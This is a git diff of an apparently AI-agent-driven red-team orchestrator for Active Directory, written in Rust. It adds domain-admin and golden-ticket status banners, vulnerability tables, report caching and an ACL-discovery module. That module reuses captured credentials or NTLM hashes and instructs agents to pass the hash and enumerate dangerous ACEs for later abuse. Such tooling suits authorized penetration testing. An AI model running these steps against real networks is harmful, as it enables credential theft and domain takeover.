achievements + .get(child) + .map(|a| a.has_da || a.has_golden_ticket) + .unwrap_or(false) + }); + root_hit || child_hit + }) + .cloned() + .collect(); + + if state.has_domain_admin || state.has_golden_ticket { + let mut lines = Vec::new(); + let total_domains = domains.len(); + if state.has_domain_admin { + let da_count = achievements.values().filter(|a| a.has_da).count(); + if total_domains > 0 { + lines.push(format!( + "\u{2605} DOMAIN ADMIN ACHIEVED ({da_count}/{total_domains} domains)" + )); + } else { + lines.push("\u{2605} DOMAIN ADMIN ACHIEVED".to_string()); + } + if let Some(path) = &state.domain_admin_path { + lines.push(format!(" path: {path}")); + } + } + if state.has_golden_ticket { + let gt_count = achievements + .values() + .filter(|a| a.has_golden_ticket) + .count(); + if total_domains > 0 { + lines.push(format!( + "\u{2605} GOLDEN TICKET OBTAINED ({gt_count}/{total_domains} domains)" + )); + } else { + lines.push("\u{2605} GOLDEN TICKET OBTAINED".to_string()); + } + } + let inner_width = lines.iter().map(|l| l.len()).max().unwrap_or(0) + 2; + println!("\u{250c}{}\u{2510}", "\u{2500}".repeat(inner_width)); + for line in &lines { + println!( + "\u{2502} {: = child_domains + .iter() + .filter(|(_, parent)| *parent == root) + .map(|(child, _)| child.clone()) + .collect(); + children.sort(); + for child in &children { + print_domain_line(child, "(child)", " \u{2514}\u{2500} ", &achievements); + displayed.insert(child.clone()); + } + } + let mut extra: Vec<_> = achievements + .keys() + .filter(|d| !displayed.contains(*d)) + .cloned() + .collect(); + extra.sort(); + for domain in &extra { + print_domain_line(domain, "", " ", &achievements); + } + } + + let merged_hosts = dedup_hosts( + &state.all_hosts, + &state.netbios_to_fqdn, + &state.domain_controllers, + ); + let dcs_count = merged_hosts.iter().filter(|h| h.is_dc).count(); + println!("Hosts: {} ({} DCs)", merged_hosts.len(), dcs_count); +} + +/// Priority threshold (inclusive) at or below which a vulnerability is treated +/// as actively exploitable rather than an informational finding. +const EXPLOITABLE_PRIORITY_MAX: i32 = 3; + +/// Print vulnerabilities split into two tables: actively exploitable +/// (priority <= EXPLOITABLE_PRIORITY_MAX) and informational findings (rest). fn print_vulnerabilities( discovered: &HashMap, exploited: &HashSet, @@ -321,20 +471,57 @@ fn print_vulnerabilities( return; } - let mut vulns: Vec<(&String, &VulnerabilityInfo)> = discovered.iter().collect(); - vulns.sort_by(|a, b| { - a.1.priority - .cmp(&b.1.priority) - .then(a.1.vuln_type.cmp(&b.1.vuln_type)) - }); + let mut exploitable: Vec<(&String, &VulnerabilityInfo)> = Vec::new(); + let mut findings: Vec<(&String, &VulnerabilityInfo)> = Vec::new(); + for (id, vuln) in discovered.iter() { + if vuln.priority <= EXPLOITABLE_PRIORITY_MAX { + exploitable.push((id, vuln)); + } else { + findings.push((id, vuln)); + } + } + let sort_vulns = |vulns: &mut Vec<(&String, &VulnerabilityInfo)>| { + vulns.sort_by(|a, b| { + a.1.priority + .cmp(&b.1.priority) + .then(a.1.vuln_type.cmp(&b.1.vuln_type)) + }); + }; + sort_vulns(&mut exploitable); + sort_vulns(&mut findings); + + let exploited_in_exploitable = exploitable + .iter() + .filter(|(id, _)| exploited.contains(*id)) + .count(); - println!("Discovered Vulnerabilities ({}):", vulns.len()); + println!( + "Exploitable Vulnerabilities ({}, {} exploited):", + exploitable.len(), + exploited_in_exploitable + ); + if exploitable.is_empty() { + println!(" (none)"); + } else { + print_vuln_table(&exploitable, exploited); + } + println!(); + + println!("Findings ({}):", findings.len()); + if !findings.is_empty() { + print_vuln_table(&findings, exploited); + } + println!(); +} + +/// Render a single vulnerability table body (header + rows). +fn print_vuln_table(vulns: &[(&String, &VulnerabilityInfo)], exploited: &HashSet) { println!( " {:<30} {:<20} {:>8} {:>9} Details", "Type", "Target", "Priority", "Exploited" ); println!(" {}", "-".repeat(100)); - for (vuln_id, vuln) in &vulns { + for (vuln_id, vuln) in vulns { let is_exploited = exploited.contains(*vuln_id); let exploited_mark = if is_exploited { "\u{2713}" } else { "\u{2717}" }; @@ -354,7 +541,6 @@ fn print_vulnerabilities( vuln.vuln_type, vuln.target, vuln.priority, exploited_mark, details_display ); } - println!(); } /// Format vulnerability details HashMap into a readable string. @@ -440,10 +626,12 @@ fn print_attack_path(timeline_events: &[serde_json::Value]) { .and_then(|v| v.as_str()) .unwrap_or("unknown event"); + let already_critical = description.starts_with("CRITICAL:"); let desc_lower = description.to_lowercase(); - let is_critical = desc_lower.contains("krbtgt") - || (desc_lower.contains("administrator") && desc_lower.contains("hash")) - || desc_lower.contains("domain admin"); + let is_critical = !already_critical + && (desc_lower.contains("krbtgt") + || (desc_lower.contains("administrator") && desc_lower.contains("hash")) + || desc_lower.contains("domain admin")); let prefix = if is_critical { "CRITICAL: " } else { "" }; let mitre = extract_mitre_from_event(event); @@ -767,6 +955,10 @@ mod tests { parent_id: None, attack_step: 0, aes_key: None, + is_previous: false, + source_host: None, + is_trust_key: false, + trust_pair_label: None, } } diff --git a/ares-cli/src/ops/loot/format/mod.rs b/ares-cli/src/ops/loot/format/mod.rs index 694b9959..48b693d0 100644 --- a/ares-cli/src/ops/loot/format/mod.rs +++ b/ares-cli/src/ops/loot/format/mod.rs @@ -50,6 +50,29 @@ pub(crate) fn print_loot(state: &SharedRedTeamState, json_output: bool) { } } +/// Compact runtime view: DA/GT banner + per-domain breakdown + host/DC count. +/// Shares the normalization pipeline with `print_loot` so the two views agree. +pub(crate) fn print_runtime_summary(state: &SharedRedTeamState) { + let mut credentials = state.all_credentials.clone(); + let mut hashes = state.all_hashes.clone(); + let mut domains: Vec = state.all_domains.clone(); + + sanitize_credentials(&mut credentials); + + let target_domain = state.target.as_ref().map(|t| t.domain.as_str()); + + normalize_state_domains( + &state.all_users, + &mut credentials, + &mut hashes, + &mut domains, + &state.all_hosts, + target_domain, + ); + + display::print_runtime_summary(state, &credentials, &hashes, &domains); +} + #[cfg(test)] mod tests { use super::*; diff --git a/ares-cli/src/ops/loot/format/report_filter.rs b/ares-cli/src/ops/loot/format/report_filter.rs index d134d3ed..f0b28286 100644 --- a/ares-cli/src/ops/loot/format/report_filter.rs +++ b/ares-cli/src/ops/loot/format/report_filter.rs @@ -123,6 +123,10 @@ mod tests { parent_id: None, attack_step: 0, aes_key: None, + is_previous: false, + source_host: None, + is_trust_key: false, + trust_pair_label: None, } } diff --git a/ares-cli/src/ops/loot/mod.rs b/ares-cli/src/ops/loot/mod.rs index 77fe2929..bb366ef1 100644 --- a/ares-cli/src/ops/loot/mod.rs +++ b/ares-cli/src/ops/loot/mod.rs @@ -9,7 +9,7 @@ use ares_core::state::RedisStateReader; use crate::redis_conn::{connect_redis, resolve_operation_id}; -pub(crate) use self::format::print_loot; +pub(crate) use self::format::{print_loot, print_runtime_summary}; pub(crate) use self::snapshot::{loot_snapshot, print_diff, LootSnapshot}; pub(crate) async fn ops_loot( diff --git a/ares-cli/src/ops/mod.rs b/ares-cli/src/ops/mod.rs index e57391bc..13d925d5 100644 --- a/ares-cli/src/ops/mod.rs +++ b/ares-cli/src/ops/mod.rs @@ -10,7 +10,7 @@ mod list; mod loot; mod queue; mod replay; -mod report; +pub(crate) mod report; pub(crate) mod resolve; mod runtime; mod sessions; diff --git a/ares-cli/src/ops/report.rs b/ares-cli/src/ops/report.rs index 53b91889..c31834c0 100644 --- a/ares-cli/src/ops/report.rs +++ b/ares-cli/src/ops/report.rs @@ -1,4 +1,5 @@ use anyhow::{Context, Result}; +use redis::AsyncCommands; use ares_core::state::RedisStateReader; @@ -25,15 +26,33 @@ pub(crate) async fn ops_report( } } - // Generate report from state using tera templates + let report = generate_and_cache_report(&mut conn, &op_id).await?; + let report_path = save_report(&output_dir, &op_id, &report)?; + println!("Report saved to {report_path}"); + + Ok(()) +} + +/// Render a red team report from current Redis state for `op_id`, cache it at +/// `ares:op:{op_id}:report`, and return the rendered markdown. +/// +/// Used by both `ops_report` (CLI on-demand fetch) and the orchestrator's +/// completion path so finished operations always have a report available +/// without operator action. +pub(crate) async fn generate_and_cache_report( + conn: &mut impl AsyncCommands, + op_id: &str, +) -> Result { + let reader = RedisStateReader::new(op_id.to_string()); + let state = reader - .load_state(&mut conn) + .load_state(conn) .await? .with_context(|| format!("No state found for operation: {op_id}"))?; - let timeline = reader.get_timeline(&mut conn).await.unwrap_or_default(); - let techniques = reader.get_techniques(&mut conn).await.unwrap_or_default(); - let is_running = reader.is_running(&mut conn).await.unwrap_or(false); + let timeline = reader.get_timeline(conn).await.unwrap_or_default(); + let techniques = reader.get_techniques(conn).await.unwrap_or_default(); + let is_running = reader.is_running(conn).await.unwrap_or(false); let generator = ares_core::reports::RedTeamReportGenerator::new() .context("Failed to initialize report template engine")?; @@ -41,10 +60,14 @@ pub(crate) async fn ops_report( .generate_comprehensive(&state, &timeline, &techniques) .or_else(|_| generator.generate_summary(&state, &timeline, &techniques, is_running)) .context("Failed to render report template")?; - let report_path = save_report(&output_dir, &op_id, &report)?; - println!("Report saved to {report_path}"); - Ok(()) + let key = format!("ares:op:{op_id}:report"); + let _: () = conn + .set(&key, &report) + .await + .with_context(|| format!("Failed to cache report at {key}"))?; + + Ok(report) } fn save_report(output_dir: &str, op_id: &str, report: &str) -> Result { diff --git a/ares-cli/src/ops/runtime.rs b/ares-cli/src/ops/runtime.rs index 4aa1553f..8ac22ddd 100644 --- a/ares-cli/src/ops/runtime.rs +++ b/ares-cli/src/ops/runtime.rs @@ -48,19 +48,14 @@ pub(crate) async fn ops_runtime( let creds = state.all_credentials.len(); let hashes = state.all_hashes.len(); - let hosts = state.all_hosts.len(); let vulns = state.discovered_vulnerabilities.len(); let exploited = state.exploited_vulnerabilities.len(); - println!("Credentials: {creds} Hashes: {hashes} Hosts: {hosts}"); + println!("Credentials: {creds} Hashes: {hashes}"); println!("Vulns: {vulns} discovered, {exploited} exploited"); + println!(); - if state.has_domain_admin { - println!("\n*** DOMAIN ADMIN ACHIEVED ***"); - } - if state.has_golden_ticket { - println!("*** GOLDEN TICKET OBTAINED ***"); - } + super::loot::print_runtime_summary(&state); // Token usage & estimated cost (from Redis counters set by workers) match ares_core::token_usage::get_token_usage(&mut conn, &op_id).await { diff --git a/ares-cli/src/orchestrator/automation/acl.rs b/ares-cli/src/orchestrator/automation/acl.rs index 6571c836..ad710096 100644 --- a/ares-cli/src/orchestrator/automation/acl.rs +++ b/ares-cli/src/orchestrator/automation/acl.rs @@ -5,9 +5,9 @@ use std::time::Duration; use serde_json::json; use tokio::sync::watch; -use tracing::{info, warn}; +use tracing::{debug, info, warn}; -use crate::orchestrator::dispatcher::Dispatcher; +use crate::orchestrator::dispatcher::{Dispatcher, SubmissionOutcome}; use crate::orchestrator::state::*; /// Extract steps from an ACL chain JSON value. @@ -141,29 +141,45 @@ pub async fn auto_acl_chain_follow( }); let priority = dispatcher.effective_priority("acl_abuse"); - match dispatcher - .throttled_submit("acl_chain_step", "acl", payload, priority) + // Mark dedup on Submitted OR Deferred — Deferred means the task is + // safely in the deferred ZSET and the drain will retry it. Without + // this, the next 30s tick re-emits the same step and the deferred + // ZSET hits its per-type cap, silently dropping work. + let mark_dedup = match dispatcher + .throttled_submit_outcome("acl_chain_step", "acl", payload, priority) .await { - Ok(Some(task_id)) => { + Ok(SubmissionOutcome::Submitted(task_id)) => { info!( task_id = %task_id, step_key = %dedup_key, "ACL chain step dispatched" ); - // Mark as dispatched in both in-memory set and dedup - { - let mut state = dispatcher.state.write().await; - state.dispatched_acl_steps.insert(dedup_key.clone()); - state.mark_processed(DEDUP_ACL_STEPS, dedup_key.clone()); - } - let _ = dispatcher - .state - .persist_dedup(&dispatcher.queue, DEDUP_ACL_STEPS, &dedup_key) - .await; + true + } + Ok(SubmissionOutcome::Deferred) => { + debug!(step_key = %dedup_key, "ACL chain step deferred (will retry via deferred drain)"); + true + } + Ok(SubmissionOutcome::Dropped) => { + debug!(step_key = %dedup_key, "ACL chain step dropped (will reconsider next tick)"); + false + } + Err(e) => { + warn!(err = %e, "Failed to dispatch ACL chain step"); + false + } + }; + if mark_dedup { + { + let mut state = dispatcher.state.write().await; + state.dispatched_acl_steps.insert(dedup_key.clone()); + state.mark_processed(DEDUP_ACL_STEPS, dedup_key.clone()); } - Ok(None) => {} // deferred or throttled - Err(e) => warn!(err = %e, "Failed to dispatch ACL chain step"), + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_ACL_STEPS, &dedup_key) + .await; } } } @@ -174,6 +190,8 @@ mod tests { use super::*; use serde_json::json; + // --- extract_chain_steps --- + #[test] fn extract_chain_steps_from_array() { let chain = json!([{"source": "a"}, {"source": "b"}]); @@ -213,6 +231,8 @@ mod tests { assert!(extract_chain_steps(&chain).is_none()); } + // --- extract_source_user --- + #[test] fn extract_source_user_from_source_key() { let step = json!({"source": "admin"}); @@ -249,6 +269,8 @@ mod tests { assert_eq!(extract_source_user(&step), ""); } + // --- extract_source_domain --- + #[test] fn extract_source_domain_from_source_domain_key() { let step = json!({"source_domain": "contoso.local"}); @@ -279,6 +301,8 @@ mod tests { assert_eq!(extract_source_domain(&step), ""); } + // --- acl_step_dedup_key --- + #[test] fn acl_step_dedup_key_basic() { assert_eq!(acl_step_dedup_key(0, 0), "chain:0:step:0"); diff --git a/ares-cli/src/orchestrator/automation/acl_discovery.rs b/ares-cli/src/orchestrator/automation/acl_discovery.rs new file mode 100644 index 00000000..ffb2b7a4 --- /dev/null +++ b/ares-cli/src/orchestrator/automation/acl_discovery.rs @@ -0,0 +1,811 @@ +//! auto_acl_discovery -- discover ACL attack paths via targeted LDAP queries. +//! +//! Bridges the gap between BloodHound collection and ACL exploitation. +//! BloodHound collects data, but the ACL chain analysis must be extracted +//! and registered as discovered_vulnerabilities for `auto_dacl_abuse` to +//! exploit. +//! +//! This module dispatches `ldap_acl_enumeration` tasks per domain to: +//! 1. Query nTSecurityDescriptor on user/group/computer objects +//! 2. Identify dangerous ACEs (GenericAll, WriteDacl, ForceChangePassword, +//! GenericWrite, WriteOwner, Self-Membership) +//! 3. Register discovered ACL paths as vulnerabilities +//! +//! Interval: 60s (heavy LDAP query, don't run too frequently). + +use std::sync::Arc; +use std::time::Duration; + +use serde_json::json; +use tokio::sync::watch; +use tracing::{debug, info, warn}; + +use crate::orchestrator::dispatcher::Dispatcher; +use crate::orchestrator::state::*; + +/// The dangerous ACE types we want the recon agent to identify. +const DANGEROUS_ACE_TYPES: &[&str] = &[ + "GenericAll", + "GenericWrite", + "WriteDacl", + "WriteOwner", + "ForceChangePassword", + "Self-Membership", + "WriteMember", + "AllExtendedRights", + "WriteProperty", +]; + +/// Collect ACL discovery work items from current state. +/// +/// Pure logic extracted from `auto_acl_discovery` so it can be unit-tested +/// without needing a `Dispatcher` or async runtime. +fn collect_acl_discovery_work(state: &StateInner) -> Vec { + if state.credentials.is_empty() && state.hashes.is_empty() { + return Vec::new(); + } + + let mut items = Vec::new(); + + for (domain, dc_ip) in &state.all_domains_with_dcs() { + // ACL discovery is read-only LDAP enumeration; safe (and required) + // to run on dominated domains so writeable-ACE primitives surface + // and feed the acl_abuse / rbcd / shadow_credentials / gpo_abuse + // chains for scoreboard tokenization. Destructive exploitation is + // still gated separately in `auto_dacl_abuse`. + // + // Use separate dedup keys for cred vs hash attempts so a failed + // password-based attempt (e.g., mislabeled credential domain) + // doesn't permanently block the hash-based path. + let dedup_key_cred = format!("acl_disc:{}:cred", domain.to_lowercase()); + let dedup_key_hash = format!("acl_disc:{}:hash", domain.to_lowercase()); + let dedup_key_trust = format!("acl_disc:{}:trust", domain.to_lowercase()); + + // Prefer same-domain cleartext cred, then fall back to trust-compatible + // cred (child→parent or cross-forest). Trust-based attempts use a + // separate dedup key so they don't block hash-based fallback. + let (cred, using_trust_cred) = if !state.is_processed(DEDUP_ACL_DISCOVERY, &dedup_key_cred) + { + let c = state + .credentials + .iter() + .find(|c| { + !c.password.is_empty() + && c.domain.to_lowercase() == domain.to_lowercase() + && !state.is_principal_quarantined(&c.username, &c.domain) + }) + .cloned(); + (c, false) + } else { + (None, false) + }; + let (cred, using_trust_cred) = + if cred.is_none() && !state.is_processed(DEDUP_ACL_DISCOVERY, &dedup_key_trust) { + match state.find_trust_credential(domain) { + Some(c) => (Some(c), true), + None => (None, using_trust_cred), + } + } else { + (cred, using_trust_cred) + }; + + // Look for NTLM hash (PTH) — fires independently of cred attempt + let (ntlm_hash, ntlm_hash_username) = + if cred.is_none() && !state.is_processed(DEDUP_ACL_DISCOVERY, &dedup_key_hash) { + state + .hashes + .iter() + .find(|h| { + h.hash_type.to_lowercase() == "ntlm" + && h.domain.to_lowercase() == domain.to_lowercase() + && h.username.to_lowercase() == "administrator" + }) + .or_else(|| { + state.hashes.iter().find(|h| { + h.hash_type.to_lowercase() == "ntlm" + && h.domain.to_lowercase() == domain.to_lowercase() + && !state.is_delegation_account(&h.username) + }) + }) + .map(|h| (Some(h.hash_value.clone()), Some(h.username.clone()))) + .unwrap_or((None, None)) + } else { + (None, None) + }; + + // Need at least a credential or an NTLM hash + if cred.is_none() && ntlm_hash.is_none() { + continue; + } + + let dedup_key = if ntlm_hash.is_some() { + dedup_key_hash + } else if using_trust_cred { + dedup_key_trust + } else { + dedup_key_cred + }; + + // Collect known users in this domain to check ACEs against. + let domain_users: Vec = state + .credentials + .iter() + .filter(|c| c.domain.to_lowercase() == domain.to_lowercase()) + .map(|c| c.username.clone()) + .collect(); + + items.push(AclDiscoveryWork { + dedup_key, + domain: domain.clone(), + dc_ip: dc_ip.clone(), + credential: cred.unwrap_or_else(|| ares_core::models::Credential { + id: String::new(), + username: ntlm_hash_username.clone().unwrap_or_default(), + password: String::new(), + domain: domain.clone(), + source: "hash_fallback".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }), + known_users: domain_users, + ntlm_hash, + ntlm_hash_username, + }); + } + + items +} + +/// Dispatches LDAP ACE enumeration per domain to discover ACL attack paths. +/// Only runs after BloodHound collection has been dispatched (to avoid +/// duplicating effort). +pub async fn auto_acl_discovery(dispatcher: Arc, mut shutdown: watch::Receiver) { + let mut interval = tokio::time::interval(Duration::from_secs(30)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + info!("auto_acl_discovery: spawned, waiting 45s for initial recon"); + + // Wait for initial recon to populate domain controllers. + tokio::time::sleep(Duration::from_secs(45)).await; + + info!("auto_acl_discovery: initial wait complete, entering main loop"); + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + if !dispatcher.is_technique_allowed("acl_discovery") { + debug!("auto_acl_discovery: technique not allowed"); + continue; + } + + let work: Vec = { + let state = dispatcher.state.read().await; + let dcs = state.all_domains_with_dcs(); + let creds = state.credentials.len(); + let hashes = state.hashes.len(); + info!( + dc_count = dcs.len(), + creds, hashes, "auto_acl_discovery: tick" + ); + collect_acl_discovery_work(&state) + }; + + if work.is_empty() { + debug!("auto_acl_discovery: no work items"); + } else { + info!( + count = work.len(), + "auto_acl_discovery: work items collected" + ); + } + + for item in work { + // When PTH hash is available, use the hash user's identity for the target domain + let (cred_user, cred_pass, cred_domain) = if item.ntlm_hash.is_some() { + ( + item.ntlm_hash_username + .clone() + .unwrap_or_else(|| item.credential.username.clone()), + String::new(), + item.domain.clone(), + ) + } else { + ( + item.credential.username.clone(), + item.credential.password.clone(), + item.credential.domain.clone(), + ) + }; + let cross_domain = cred_domain.to_lowercase() != item.domain.to_lowercase(); + let mut payload = json!({ + "technique": "ldap_acl_enumeration", + "target_ip": item.dc_ip, + "domain": item.domain, + "credential": { + "username": cred_user, + "password": cred_pass, + "domain": cred_domain, + }, + "ace_types": DANGEROUS_ACE_TYPES, + "known_users": item.known_users, + "instructions": concat!( + "Enumerate ACL attack paths in this domain.\n\n", + "AUTHENTICATION: If the password field is EMPTY and an NTLM hash is provided, ", + "you MUST use pass-the-hash. Do NOT attempt LDAP simple bind with empty password.\n", + " - Use ldap_search with the hash if it accepts one, OR\n", + " - Use rpcclient_command with the hash parameter to query DACLs via RPC.\n\n", + "CROSS-DOMAIN AUTH: If the credential domain differs from the target domain, ", + "you MUST pass bind_domain= to ldap_search. ", + "Check the 'bind_domain' field in the task payload — if present, always pass it ", + "to ldap_search so the LDAP bind uses user@bind_domain.\n\n", + "If a password IS provided, use ldap_search with filter ", + "'(objectCategory=*)' and request the nTSecurityDescriptor attribute.\n\n", + "For each dangerous ACE found (GenericAll, WriteDacl, ForceChangePassword, ", + "GenericWrite, WriteOwner, Self-Membership on users/groups), register it as ", + "a vulnerability with EXACTLY these fields:\n", + " vuln_type: lowercase ACE type (e.g. 'forcechangepassword', 'genericall', ", + "'genericwrite', 'writedacl', 'writeowner', 'self_membership')\n", + " source: the user/group that HAS the permission (attacker)\n", + " target: the user/group/computer that is the TARGET (victim)\n", + " target_type: 'User', 'Group', or 'Computer'\n", + " domain: the domain where this ACE exists\n", + " source_domain: the domain of the source principal\n", + "Focus on ACEs where the source is a user we have credentials for.\n\n", + "IMPORTANT: Include ALL users discovered in the discovered_users array:\n", + " {\"username\": \"samaccountname\", \"domain\": \"domain.local\", ", + "\"source\": \"acl_discovery\"}" + ), + }); + if cross_domain { + payload["bind_domain"] = json!(item.credential.domain); + } + if let Some(ref hash) = item.ntlm_hash { + payload["ntlm_hash"] = json!(hash); + } + if let Some(ref user) = item.ntlm_hash_username { + payload["hash_username"] = json!(user); + } + + // ACL discovery is high-priority — it gates RBCD, shadow creds, + // and DACL abuse exploitation paths. Use priority 2 to compete + // with credential_access tasks rather than sitting behind them. + let priority = 2; + match dispatcher + .throttled_submit("recon", "recon", payload, priority) + .await + { + Ok(Some(task_id)) => { + info!( + task_id = %task_id, + domain = %item.domain, + dc = %item.dc_ip, + known_users = item.known_users.len(), + "ACL discovery dispatched" + ); + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_ACL_DISCOVERY, item.dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_ACL_DISCOVERY, &item.dedup_key) + .await; + } + Ok(None) => { + // Don't mark dedup on defer — the deferred queue will + // retry and we need the work item to remain eligible in + // case the deferred task never dispatches. Duplicate + // enqueues to the deferred queue are harmless (it dedupes + // by payload hash). + debug!(domain = %item.domain, "ACL discovery deferred"); + } + Err(e) => { + warn!(err = %e, domain = %item.domain, "Failed to dispatch ACL discovery"); + } + } + } + } +} + +struct AclDiscoveryWork { + dedup_key: String, + domain: String, + dc_ip: String, + credential: ares_core::models::Credential, + known_users: Vec, + ntlm_hash: Option, + ntlm_hash_username: Option, +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::orchestrator::state::StateInner; + use ares_core::models::Credential; + + fn make_credential(username: &str, password: &str, domain: &str) -> Credential { + Credential { + id: format!("c-{username}"), + username: username.into(), + password: password.into(), // pragma: allowlist secret + domain: domain.into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + } + } + + #[test] + fn dedup_key_format() { + let key_cred = format!("acl_disc:{}:cred", "contoso.local"); + let key_hash = format!("acl_disc:{}:hash", "contoso.local"); + assert_eq!(key_cred, "acl_disc:contoso.local:cred"); + assert_eq!(key_hash, "acl_disc:contoso.local:hash"); + } + + #[test] + fn dedup_set_name() { + assert_eq!(DEDUP_ACL_DISCOVERY, "acl_discovery"); + } + + #[test] + fn dangerous_ace_types_not_empty() { + assert!(!DANGEROUS_ACE_TYPES.is_empty()); + } + + #[test] + fn dangerous_ace_types_contains_key_types() { + assert!(DANGEROUS_ACE_TYPES.contains(&"GenericAll")); + assert!(DANGEROUS_ACE_TYPES.contains(&"WriteDacl")); + assert!(DANGEROUS_ACE_TYPES.contains(&"ForceChangePassword")); + assert!(DANGEROUS_ACE_TYPES.contains(&"GenericWrite")); + assert!(DANGEROUS_ACE_TYPES.contains(&"WriteOwner")); + assert!(DANGEROUS_ACE_TYPES.contains(&"Self-Membership")); + } + + #[test] + fn dangerous_ace_types_count() { + assert_eq!(DANGEROUS_ACE_TYPES.len(), 9); + } + + #[test] + fn dangerous_ace_types_includes_write_property() { + assert!(DANGEROUS_ACE_TYPES.contains(&"WriteProperty")); + assert!(DANGEROUS_ACE_TYPES.contains(&"AllExtendedRights")); + assert!(DANGEROUS_ACE_TYPES.contains(&"WriteMember")); + } + + #[test] + fn dangerous_ace_types_no_duplicates() { + let mut seen = std::collections::HashSet::new(); + for ace in DANGEROUS_ACE_TYPES { + assert!(seen.insert(*ace), "Duplicate ACE type: {ace}"); + } + } + + #[test] + fn dedup_key_case_normalized() { + let key1 = format!("acl_disc:{}", "CONTOSO.LOCAL".to_lowercase()); + let key2 = format!("acl_disc:{}", "contoso.local"); + assert_eq!(key1, key2); + } + + #[test] + fn acl_discovery_payload_structure() { + let payload = serde_json::json!({ + "technique": "ldap_acl_enumeration", + "target_ip": "192.168.58.10", + "domain": "contoso.local", + "credential": { + "username": "admin", + "password": "P@ssw0rd!", + "domain": "contoso.local", + }, + "ace_types": DANGEROUS_ACE_TYPES, + "known_users": ["admin", "jdoe"], + }); + assert_eq!(payload["technique"], "ldap_acl_enumeration"); + assert_eq!(payload["target_ip"], "192.168.58.10"); + let ace_types = payload["ace_types"].as_array().unwrap(); + assert_eq!(ace_types.len(), 9); + } + + #[test] + fn credential_domain_preference() { + // Same-domain credential is preferred + let domain = "contoso.local"; + let cred_same = "contoso.local"; + let cred_other = "fabrikam.local"; + assert_eq!(cred_same.to_lowercase(), domain.to_lowercase()); + assert_ne!(cred_other.to_lowercase(), domain.to_lowercase()); + } + + #[test] + fn known_users_collection() { + let credentials = [ + ("admin", "contoso.local"), + ("jdoe", "contoso.local"), + ("admin", "fabrikam.local"), + ]; + let domain = "contoso.local"; + let domain_users: Vec<&str> = credentials + .iter() + .filter(|(_, d)| d.to_lowercase() == domain.to_lowercase()) + .map(|(u, _)| *u) + .collect(); + assert_eq!(domain_users.len(), 2); + assert!(domain_users.contains(&"admin")); + assert!(domain_users.contains(&"jdoe")); + } + + #[test] + fn acl_discovery_work_fields() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "admin".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + let work = AclDiscoveryWork { + dedup_key: "acl_disc:contoso.local:cred".into(), + domain: "contoso.local".into(), + dc_ip: "192.168.58.10".into(), + credential: cred, + known_users: vec!["admin".into(), "jdoe".into()], + ntlm_hash: None, + ntlm_hash_username: None, + }; + assert_eq!(work.known_users.len(), 2); + assert_eq!(work.domain, "contoso.local"); + } + + // --- collect_acl_discovery_work tests --- + + #[test] + fn collect_empty_state_returns_no_work() { + let state = StateInner::new("test-op".into()); + let work = collect_acl_discovery_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_no_credentials_returns_no_work() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + let work = collect_acl_discovery_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_no_domain_controllers_returns_no_work() { + let mut state = StateInner::new("test-op".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_acl_discovery_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_single_domain_produces_work() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_acl_discovery_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].domain, "contoso.local"); + assert_eq!(work[0].dc_ip, "192.168.58.10"); + assert_eq!(work[0].dedup_key, "acl_disc:contoso.local:cred"); + assert_eq!(work[0].credential.username, "admin"); + assert_eq!(work[0].credential.domain, "contoso.local"); + assert!(work[0].known_users.contains(&"admin".to_string())); + } + + #[test] + fn collect_multiple_domains_produces_work_for_each() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .domain_controllers + .insert("fabrikam.local".into(), "192.168.58.20".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .credentials + .push(make_credential("svcacct", "Svc!Pass1", "fabrikam.local")); // pragma: allowlist secret + let work = collect_acl_discovery_work(&state); + assert_eq!(work.len(), 2); + let domains: Vec<&str> = work.iter().map(|w| w.domain.as_str()).collect(); + assert!(domains.contains(&"contoso.local")); + assert!(domains.contains(&"fabrikam.local")); + } + + #[test] + fn collect_dedup_skips_already_processed_domain() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state.mark_processed(DEDUP_ACL_DISCOVERY, "acl_disc:contoso.local:cred".into()); + state.mark_processed(DEDUP_ACL_DISCOVERY, "acl_disc:contoso.local:hash".into()); + let work = collect_acl_discovery_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_dedup_skips_processed_but_keeps_unprocessed() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .domain_controllers + .insert("fabrikam.local".into(), "192.168.58.20".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .credentials + .push(make_credential("svcacct", "Svc!Pass1", "fabrikam.local")); // pragma: allowlist secret + state.mark_processed(DEDUP_ACL_DISCOVERY, "acl_disc:contoso.local:cred".into()); + state.mark_processed(DEDUP_ACL_DISCOVERY, "acl_disc:contoso.local:hash".into()); + 